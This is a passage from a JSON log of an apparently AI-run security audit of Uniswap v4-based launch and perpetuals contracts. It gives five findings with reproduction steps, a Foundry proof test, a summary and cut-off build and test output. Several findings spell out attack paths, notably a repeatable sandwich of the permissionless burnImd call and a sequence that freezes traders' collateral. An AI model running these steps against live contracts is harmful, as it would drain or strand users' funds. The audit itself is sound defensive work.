`IFeeRefund(launcher).feeCheckpoint();`) calls it unconditionally on every engine swap. The moment the timelock calls setPerpEngine(x) with x != the created engine (including address(0), documented as 'Zero turns perps off'), every swap the old engine makes reverts with IMD6900LockedPool.NotRefunded: PerpEngine.close (trader), PerpEngine.liquidate (anyone) and the hook sweep's _settle all route through swapLeg. Open positions, their collateral, the shorts' held ETH and the vault's lent principal (longOiEth / shortOiToken) are frozen; traders cannot exit a market the timelock just switched off, and PerpVault stakers cannot be paid the lent part (withdrawEth queues it forever). The sibling admin path IMD6900LockedPool.lowerFee refuses while `openCount != 0` (lines 182-186) precisely to avoid stranding positions, but setPerpEngine has no such guard, and lowerFee itself only asks the hook's current engine (line 182 `address engine = IPerpsWiring(hook).perpEngine();`), not pool.perpsEngine: after a replacement with a fresh engine (openCount 0) the timelock can move the liquidity to a new pool while the created engine still holds positions, after which even re-wiring cannot rescue them (the engine's immutable poolId no longer matches hook.poolId -> NotOurPool). The setter is the timelock's documented remedy for a stuck engine, so the hidden consequence matters: the remedy freezes user funds. Minimal fix preserving the design: let isRefunded also accept pool.perpsEngine (the engine createPerps made), or have swapLeg fall back to a non-refunded swap when feeCheckpoint reverts; and make setPerpEngine (or lowerFee) check the created engine's openCount like lowerFee does for the hook's.","line":124,"path":"src/IMD6900Hook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {IMD6900Hook} from \"src/IMD6900Hook.sol\";\nimport {IMD6900LockedPool} from \"src/IMD6900LockedPool.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\nimport {PerpEngine} from \"src/perps/PerpEngine.sol\";\nimport {PerpVault} from \"src/perps/PerpVault.sol\";\n\n/// A stand-in for the old IMDSTR (the launch only needs an address with code for a launch without claims)\ncontract NoImdstr {}\n\n/// The timelock turns the perps off (IMD6900Hook.setPerpEngine(0), \"Zero turns perps off\") or replaces the engine\n/// while the engine the launch created still has a position open. Expected: the open position can still be closed by\n/// its trader (its collateral and the vault's lent ETH come back). Actual: IMD6900LockedPool.isRefunded now says no for\n/// the old engine, PerpSwapLib.swapLeg's feeCheckpoint() reverts NotRefunded, and close/liquidate/sweep all revert:\n/// the position, its collateral and the vault's principal are frozen until (and unless) the timelock re-wires it.\ncontract EngineReplaceStrandsTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    address constant STAKER = address(0x57A4E);\n    address constant ALICE = address(0xA1);\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n    IMD6900Hook hook;\n    IMD6900LockedPool pool;\n    PerpEngine engine;\n    PerpVault vault;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(\n            payable(\n                vm.deployCode(\n                    \"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\",\n                    abi.encode(OWNER, PM, address(new NoImdstr()), TL)\n                )\n            )\n        );\n        hook = L.createHook(_mineHookSalt());\n        pool = L.pool();\n        bytes32 salt = _mineCoinSalt();\n        address expected = L.tokenAddress(salt);\n        uint160 price = uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether)));\n        vm.deal(OWNER, 2.81 ether);\n        vm.prank(OWNER);\n        L.launch{value: 2.81 ether}(salt, expected, price, 0, address(L));\n        vm.deal(address(this), 1 ether);\n        (address e, address v) = pool.createPerps{value: 0.05 ether}(\n            vm.getCode(\"PerpEngine.sol:PerpEngine\"), vm.getCode(\"PerpVault.sol:PerpVault\")\n        );\n        (engine, vault) = (PerpEngine(payable(e)), PerpVault(payable(v)));\n        vm.deal(STAKER, 20 ether);\n        vm.prank(STAKER);\n        vault.depositEth{value: 10 ether}();\n        vm.deal(ALICE, 5 ether);\n        pool.collect();\n    }\n\n    function test_TurningPerpsOffStrandsOpenPositions() public {\n        vm.prank(ALICE);\n        uint256 id = engine.openLong{value: 0.1 ether}(5, 0);\n        assertEq(engine.openCount(), 1);\n        uint256 lent = engine.longOiEth();\n        assertGt(lent, 0, \"the vault lent the long its borrow\");\n\n        // the timelock's documented way out: \"Zero turns perps off\"\n        vm.prank(TL);\n        hook.setPerpEngine(address(0));\n\n        // the trader closes the position they opened before the switch: their collateral must come back\n        uint256 before = ALICE.balance;\n        vm.prank(ALICE);\n        engine.close(id, 0); // reverts today: IMD6900LockedPool.NotRefunded from PerpSwapLib.swapLeg's feeCheckpoint\n        assertEq(engine.openCount(), 0, \"closed\");\n        assertGt(ALICE.balance, before, \"collateral back\");\n        assertEq(engine.longOiEth(), 0, \"the vault's ETH is back in the PLV\");\n    }\n\n    function test_ReplacingTheEngineStrandsOpenPositionsAndLetsTheFeeMove() public {\n        vm.prank(ALICE);\n        uint256 id = engine.openLong{value: 0.1 ether}(5, 0);\n\n        // the timelock replaces the engine with a fresh one (openCount 0 there)\n        address fresh = address(new CountingEngine());\n        vm.prank(TL);\n        hook.setPerpEngine(fresh);\n\n        // the old engine can neither be closed nor liquidated by anyone\n        vm.prank(ALICE);\n        (bool okClose,) = address(engine).call(abi.encodeCall(engine.close, (id, 0)));\n        (bool okLiq,) = address(engine).call(abi.encodeCall(engine.liquidate, (id)));\n        // and lowerFee only asks the hook's CURRENT engine, so the pool moves away from under the old engine for good\n        vm.prank(TL);\n        (bool okMove,) = address(pool).call(abi.encodeCall(pool.lowerFee, (33_300)));\n        assertTrue(okMove, \"the fee move went through with a position open in the created engine\");\n        assertEq(engine.openCount(), 1, \"still open, bound to a pool nobody serves\");\n        // Expected behaviour (what the fix must restore): the trader can close while the timelock re-wires things\n        assertTrue(okClose || okLiq, \"an open position must stay closable after the timelock replaces the engine\");\n    }\n\n    /*                               HELPERS                                */\n\n    function _mineHookSalt() internal view returns (bytes32) {\n        bytes32 initHash = L.hookInitCodeHash();\n        uint160 flags = L.FLAGS();\n        for (uint256 i;; ++i) {\n            address a = _create2(address(L), bytes32(i), initHash);\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoinSalt() internal view returns (bytes32) {\n        bytes32 initHash = L.tokenInitCodeHash();\n        for (uint256 i;; ++i) {\n            address a = _create2(address(L), bytes32(i), initHash);\n            if (uint160(a) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _create2(address deployer, bytes32 salt, bytes32 initHash) internal pure returns (address) {\n        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, initHash)))));\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}\n\n/// A replacement engine with nothing open\ncontract CountingEngine {\n    function openCount() external pure returns (uint256) {\n        return 0;\n    }\n\n    function sweepLiquidations(address, int256, bool, uint160) external pure returns (uint8) {\n        return 0;\n    }\n}","reproduction":"State: launch done, pool.createPerps called, a staker deposited 10 ETH in PerpVault, ALICE opened a 0.1 ETH 5x long (engine.openCount()==1, longOiEth>0). Step 1: timelock calls hook.setPerpEngine(address(0)). Step 2: ALICE calls engine.close(id, 0). Expected: position closes, ALICE's collateral returns, longOiEth==0. Actual: revert IMD6900LockedPool.NotRefunded() (from feeCheckpoint inside PerpSwapLib.swapLeg). Variant: timelock calls hook.setPerpEngine(freshEngine) where freshEngine.openCount()==0; engine.close and engine.liquidate both revert, and pool.lowerFee(33_300) succeeds although the created engine still has 1 position; it is then unrecoverable. test/scratch/EngineReplaceStrands.t.sol: both tests fail on this tree (`[FAIL: NotRefunded()]`, `[FAIL: an open position must stay closable...]`).","severity":"medium","snippet":"    function setPerpEngine(address engine) external onlyOwner {\n        perpEngine = engine;","title":"IMD6900Hook.setPerpEngine (replace or zero) strands every open position in the previous engine: its swaps lose the fee refund and revert NotRefunded, so close/liquidate/sweep all fail; lowerFee then m"},{"citation":"resolved","description":"Asymmetry between the two paths that retire the claims reserve. releaseUnclaimed (owner) checks `if (block.timestamp < claimDeadline) revert ClaimsOpen();` (line 324) and launch() enforces claimDeadline >= launch + MIN_CLAIM_WINDOW (90 days, line 297). endClaims (timelock) has no time check at all: it can run in the same block as the launch, sets claimDeadline = now and moves the whole reserve into excessHeld, from where sellHeld (fee-free) or releaseExcess disposes of it. The doc on MIN_CLAIM_WINDOW ('Claims stay open at least this long after the launch before the unclaimed reserve can be released') is therefore only true of the owner. This is a documented timelock power (the brief lists 'ends the claims early'), so it is reported as a trust assumption with a concrete gap rather than a bypass: IMDSTR holders' 1:1 claim is guaranteed only by the timelock's 12h delay, not by the 90-day window the code advertises. Fix if the window is meant to bind: `if (block.timestamp < launchedAt + MIN_CLAIM_WINDOW) revert ClaimsOpen();` in endClaims, or state the exception in the MIN_CLAIM_WINDOW doc.","line":388,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: setClaims(root, total=63_935_747e18, deadline=launch+90d), launch(). Same block: timelock calls endClaims(). Expected (per MIN_CLAIM_WINDOW doc): revert, claims open for at least 90 days. Actual: succeeds; unclaimedReleased=true, excessHeld += 63_935_747e18, claim() now reverts AlreadyReleased for every holder; timelock may sellHeld(0, 0, to) the reserve immediately.","severity":"low","snippet":"    function endClaims() external {\n        if (msg.sender != timelock) revert NotTimelock();\n        if (token == address(0)) revert NotLaunched();\n        if (unclaimedReleased) revert AlreadyReleased();\n        uint256 unclaimed = claimTotal - claimedTotal;","title":"endClaims lets the timelock end the claims at any moment after the launch, while releaseUnclaimed must wait for the 90-day deadline: the MIN_CLAIM_WINDOW guarantee does not bind the timelock"},{"citation":"resolved","description":"Access x economics (Trust Gap seam 1): the guard (anyone) and the swap (exact-input to MIN_SQRT_PRICE+1 with the caller's floor, line 488 `if (imd < minImd) revert Short(imd);`) are each fine alone, but the only slippage protection is chosen by the party who benefits from removing it. An attacker buys $IMD on the same pool, calls burnImd(0) in the same block (one call per second, IMD_BUY_MAX 0.1 ETH), then sells back; the burn executor receives fewer $IMD than the pool would have given at the fair price. Loss per call is bounded by the price impact of 0.1 ETH on the $IMD pool minus the attacker's 1% fee on each of their own legs, and the bucket can only be spent at 0.1 ETH/s, so impact is small per call but repeatable for the whole imdBucket. Minimal fix preserving 'anyone may call': derive a floor on-chain (e.g. a TWAP/last-price-based minimum or a maximum tick move) instead of trusting minImd.","line":481,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: after launch, imdBucket = 1 ETH (several splits), the $IMD pool with, say, 5 ETH depth. Attacker tx bundle: (1) buy $IMD with 1 ETH (price up ~20%), (2) burnImd(0): the launch spends 0.1 ETH at the pushed price and receives fewer $IMD than at the pre-bundle price, (3) sell the $IMD from (1). Expected: the burn buy executes near the fair price or reverts. Actual: executes at the attacker's price; repeated every second until imdBucket is drained.","severity":"low","snippet":"    function burnImd(uint256 minImd) external nonReentrant returns (uint256 imd) {","title":"burnImd is permissionless with a caller-chosen minImd: a caller can sandwich each 0.1 ETH $IMD buy with minImd = 0, diverting part of the burn budget to themselves"},{"citation":"resolved","description":"Asymmetry across the three owned contracts: IMD6900Hook.renounceOwnership reverts NoRenounce (src/IMD6900Hook.sol:153) and PerpEngine.renounceOwnership reverts OwnershipCannotBeRenounced (src/perps/PerpEngine.sol:289), because 'the engine and the escape hatch need an owner'. The launch inherits solady Ownable unchanged, so its owner can renounce. Owner-only functions with no timelock twin are releaseImdstr (the only way IMDSTR ever leaves the contract) and releaseUnclaimed (the timelock's endClaims covers that one). After a renounce post-launch, every IMDSTR paid in by claimants is locked in the launch forever. Fix: override renounceOwnership to revert, as the sibling contracts do.","line":44,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: launched, A claimed 40M (40M IMDSTR now held by the launch). Owner calls renounceOwnership() (solady Ownable, allowed). Then owner (or anyone) calls releaseImdstr(0, to): Expected: the team can still return the IMDSTR home. Actual: Unauthorized() forever; imdstr.balanceOf(launch) == 40M permanently.","severity":"low","snippet":"contract IMD6900RobinhoodLaunch is Ownable, ReentrancyGuard {","title":"IMD6900RobinhoodLaunch does not block renounceOwnership (the hook and engine do): after it, the IMDSTR collected by claims and the unclaimed reserve have no release path"},{"citation":"resolved","description":"Owner-supplied inputs (setClaims root and total) are trusted to be consistent, but nothing checks it and the failure is silent then permanent: claims are honoured per-leaf (`done > allowance`) with no `claimedTotal + amount <= claimTotal` check. Once claimedTotal > claimTotal, claimReserve() (line 258), endClaims (line 392) and releaseUnclaimed (line 326) all underflow and revert for good, and the extra coins come out of the balance that excessHeld accounts for, so a later sellHeld/releaseExcess of the full excessHeld reverts on insufficient balance. A one-line guard `if (claimedTotal + amount > claimTotal) revert OverClaim();` keeps the reserve and the held coins consistent whatever the list says.","line":451,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: setClaims(root over leaves {A:40M, B:20M, C:3.9M}, total=50M, deadline=+90d); launch with excessTo=address(this). A claims 40M, B claims 20M (claimedTotal=60M > claimTotal=50M). Expected: the second claim beyond the reserve is refused (or the reserve is sized to the list). Actual: both succeed, 10M of excessHeld's coins paid out; claimReserve(), endClaims(), releaseUnclaimed() revert with arithmetic underflow forever; sellHeld(0, 0, to) for the whole excessHeld reverts in the pool settlement for lack of coins.","severity":"low","snippet":"        claimedTotal += amount;","title":"claim() does not bound claimedTotal by claimTotal: a claim list whose leaves sum to more than `total` pays claims out of the coins held for the timelock and bricks claimReserve/endClaims/releaseUnclai"}],"hash":"deb9455c0f66521934cd84a653b97c84b949eac1ec0f1c2b489fd5911735600b","nodeId":"1edde2f3-130b-478f-8d68-a6e015892243","outcome":"completed","summary":"The review is written to `.imd-findings.json` with five findings and a coverage row for all 103 entry points plus three invariants. Only the findings file and the scratch test directory were created; no project file was changed.\n\n**Main finding (medium, with a failing Foundry proof).** The timelock's documented remedy for a stuck perps engine freezes user funds. `IMD6900Hook.setPerpEngine` has no open-position guard, while its sibling `lowerFee` does. Since `IMD6900LockedPool.isRefunded` only accepts the hook's current engine, and `PerpSwapLib.swapLeg` calls the refund checkpoint unconditionally, every swap by the previous engine reverts with `NotRefunded` the moment the timelock replaces or zeroes it. Traders cannot close, nobody can liquidate, and the vault's lent ETH never returns. With a fresh engine wired in, `lowerFee` then passes and moves the pool from under the old engine permanently. The proof in `test/scratch/EngineReplaceStrands.t.sol` fails on this tree in both scenarios.\n\n**Low findings, each with a concrete failing input:**\n- `endClaims` has no minimum window, unlike `releaseUnclaimed` with its 90-day floor, so the documented claim-window guarantee only binds the owner, not the timelock.\n- `burnImd` is permissionless with a caller-chosen `minImd`, so each 0.1 ETH burn buy can be sandwiched with a zero floor.\n- The launch does not block `renounceOwnership` while the hook and engine do; after a renounce, the IMDSTR paid in by claimants has no release path.\n- `claim` never bounds `claimedTotal` by `claimTotal`, so an inconsistent claim list pays claims from the coins held for the timelock and permanently bricks `claimReserve`, `endClaims` and `releaseUnclaimed`.\n\n**Coverage.** All launch, pool, hook, engine and vault entry points were traced for guards, state writes and failure paths from the access-control, trust-gap and asymmetry lenses. The fee-refund pair's nested transient-storage stack, the lock on liquidity, and the fee-split defaults hold. Not covered in depth, as they belong to other specialists: the perps pricing and liquidation math in `PerpSwapLib`, the vault's share and queue arithmetic, and whether the default $IMD pool key exists on Robinhood, which only the fork test can confirm.","treeHash":null,"usage":{"cachedInputTokens":2381285,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":45041,"runtime":"claude","turns":30,"wallClockMs":733563}}],"verification":[{"checks":[{"durationMs":44190,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 44.08s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:349:5:\n    |\n349 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":745,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 302.26µs (24.58µs CPU time)\n\nRan 1 test for test/FactoryDeployment.t.sol:FactoryDeploymentTest\n[PASS] test_FactoryConstructorWithExactArgumentsAndNoDependencies() (gas: 24462550)\nLogs:\n  factory CREATE2 gas: 7911389\n  factory CREATE2 gas: 7890432\n  factory CREATE2 gas: 7890475\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.51ms (1.38ms CPU time)\n\nRan 2 tests for test/Twap.t.sol:TwapTest\n[PASS] testFuzz_TwapSearchMatchesLinearReference(uint8,uint8,uint16) (runs: 256, μ: 345169, ~: 259211)\nLogs:\n  Bound result 17\n  Bound result 254\n\n[PASS] test_TwapNeedsAtLeastOneSecondOfHistory() (gas: 54172)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.71ms (4.59ms CPU time)\n\nRan 9 tests for test/Edges.t.sol:EdgesTest\n[PASS] test_ABornLiquidatablePositionIsRefused() (gas: 9436038)\n[PASS] test_APayeeThatRefusesLeavesItsShareForTheNextSplit() (gas: 728914)\n[PASS] test_PayeeListEdges() (gas: 571802)\n[PASS] test_PerpOpenRefusals() (gas: 9521929)\n[PASS] test_RecoverEthPartialKeepsTheBucketWhole() (gas: 428746)\n[PASS] test_RecoverEthTakesTheImdBucketWithIt() (gas: 492910)\n[PASS] test_ReleaseExcessBounds() (gas: 173694)\n[PASS] test_ReleaseImdstrOnlyWhatIsHeld() (gas: 310627)\n[PASS] test_SellHeldHonoursItsFloor() (gas: 232268)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 51.66ms (4.81ms CPU time)\n\nRan 49 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_BurnCapCannotBeMulticalled() (gas: 4578146)\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 2974403)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1257419)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1459342)\n[PASS] test_ClaimsOneForOne() (gas: 1577695)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208606)\n[PASS] test_DeploysOnAFreshChain() (gas: 6539537)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4477839)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2334648)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1298711)\n[PASS] test_FitsOneTransaction() (gas: 12403897)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 7902586\n  createHook gas: 1266563\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1839822)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1428613)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1306704)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1298298)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2199161)\n[PASS] test_NoClaimsAllOfItBack() (gas: 1968311)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2078761)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 2092702)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 178855)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 1969126)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1296413)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 68011)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 91583)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117797)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1795330)\n[PASS] test_PassesTheAdmissionScan() (gas: 15219021)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1449439)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702339)\n[PASS] test_RefusesTheWrongAddress() (gas: 709786)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSale() (gas: 2810099)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSwap() (gas: 2591850)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSale() (gas: 2810945)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSwap() (gas: 2592224)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1273327)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1214922)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1800436)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1231924)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1295306)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2782609)\n[PASS] test_TheFeeIsStatic() (gas: 1581495)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5721750)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1343577)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21834)\n[PASS] test_TheLiquidityIsLocked() (gas: 2153898)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2311326)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2202803)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1647165)\n[PASS] test_TradesBothWays() (gas: 1553880)\nSuite result: ok. 49 passed; 0 failed; 0 skipped; finished in 73.98ms (133.13ms CPU time)\n\nRan 13 tests for test/Perps.t.sol:PerpsTest\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1067799)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1854350)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1893178)\n[PASS] test_EthVaultQueueAndFeeSplitStayBacked() (gas: 1210470)\n[PASS] test_HealthyPositionBlocksFeeMoveAfterOneYear() (gas: 1472974)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 658313)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120171)\n[PASS] test_PerpFeesReachThePot() (gas: 703185)\n[PASS] test_ReportedRangeEndDrainCannotExhaustLongBacking() (gas: 14353376)\nLogs:\n  real ETH remaining: 103843307849973044\n  virtual ETH depth: 19366225365553498597\n  long principal: 93100000000000000\n  open positions: 4\n\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145026)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 61399605)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14690558)\n[PASS] test_TokenVaultQueueAndYieldStayBacked() (gas: 2370657)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 162.38ms (173.51ms CPU time)\n\nRan 1 test for test/PerpsInvariants.t.sol:PerpsInvariantsTest\n[PASS]\nPerpsInvariantsTest invariants:\n[PASS] invariant_CollectEmptiesTheLockedPool\n[PASS] invariant_HandlerSawNoViolation\n[PASS] invariant_NoBadDebt\n[PASS] invariant_TheBookSumsMatch\n[PASS] invariant_TheEngineBacksItsEthLedger\n[PASS] invariant_TheEngineBacksItsTokenLedger\n[PASS] invariant_TheVaultHoldsNothing\n[PASS] invariant_TheWiringAndTheLiquidityHold\n PerpsInvariantsTest invariants (runs: 40, calls: 1200, reverts: 210)\n\n╭--------------+-------------------+-------+---------+----------╮\n| Contract     | Selector          | Calls | Reverts | Discards |\n+===============================================================+\n| PerpsHandler | claimPayout       | 66    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | claimPendingEth   | 57    | 57      | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | claimPendingToken | 63    | 62      | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | claimTokYield     | 55    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | close             | 63    | 12      | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | collect           | 70    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | flushFees         | 59    | 40      | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | fundInsurance     | 53    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | liquidate         | 66    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | openLong          | 64    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | openShort         | 70    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | stakeEth          | 73    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | stakeToken        | 65    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | tryLowerFee       | 64    | 39      | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | unstakeEth        | 61    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | unstakeToken      | 75    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | warp              | 53    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | whaleBuy          | 52    | 0       | 0        |\n|--------------+-------------------+-------+---------+----------|\n| PerpsHandler | whaleSell         | 71    | 0       | 0        |\n╰--------------+-------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 6153\n  Bound result 0\n  Bound result 1\n  Bound result 4990000000000024193\n  Bound result 0\n  Bound result 10000\n  Bound result 10000\n  Bound result 0\n  Bound result 389000000000000501\n  Bound result 4\n  Bound result 2810000000000000000\n  Bound result 0\n  Bound result 4990000000000044401\n  Bound result 0\n  Bound result 4990000000000023935\n  Bound result 1\n  Bound result 389000009831548130\n  Bound result 2\n  Bound result 444\n  Bound result 3491993007779089\n  Bound result 0\n  Bound result 10000\n  Bound result 0\n  Bound result 0\n  Bound result 389000000000000193\n  Bound result 3\n  Bound result 1\n  Bound result 5802\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 455.01ms (394.36ms CPU time)\n\nRan 1 test for test/LaunchInvariants.t.sol:LaunchInvariantsTest\n[PASS]\nLaunchInvariantsTest invariants:\n[PASS] invariant_ClaimsAreBounded\n[PASS] invariant_CoinConservation\n[PASS] invariant_HandlerSawNoViolation\n[PASS] invariant_TheFeeOnlyFalls\n[PASS] invariant_TheLaunchHoldsWhatItOwes\n[PASS] invariant_TheLaunchIsFinal\n[PASS] invariant_TheLiquidityIsLockedAndWhole\n LaunchInvariantsTest invariants (runs: 48, calls: 1440, reverts: 0)\n\n╭---------------+--------------------+-------+---------+----------╮\n| Contract      | Selector           | Calls | Reverts | Discards |\n+=================================================================+\n| LaunchHandler | buy                | 95    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | claim              | 65    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | collect            | 70    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | endClaims          | 59    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | forgedClaim        | 72    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | harvest            | 66    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | lowerFee           | 85    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | ownerOverreach     | 75    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | recoverEth         | 78    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | releaseExcess      | 77    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | releaseImdstr      | 77    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | releaseUnclaimed   | 68    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | sell               | 77    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | sellHeld           | 70    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | setCoinFeeTo       | 65    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | setPayees          | 57    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | split              | 60    | 0       | 0        |\n|---------------+--------------------+-------+---------+----------|\n| LaunchHandler | squat              | 69    | 0       | 0    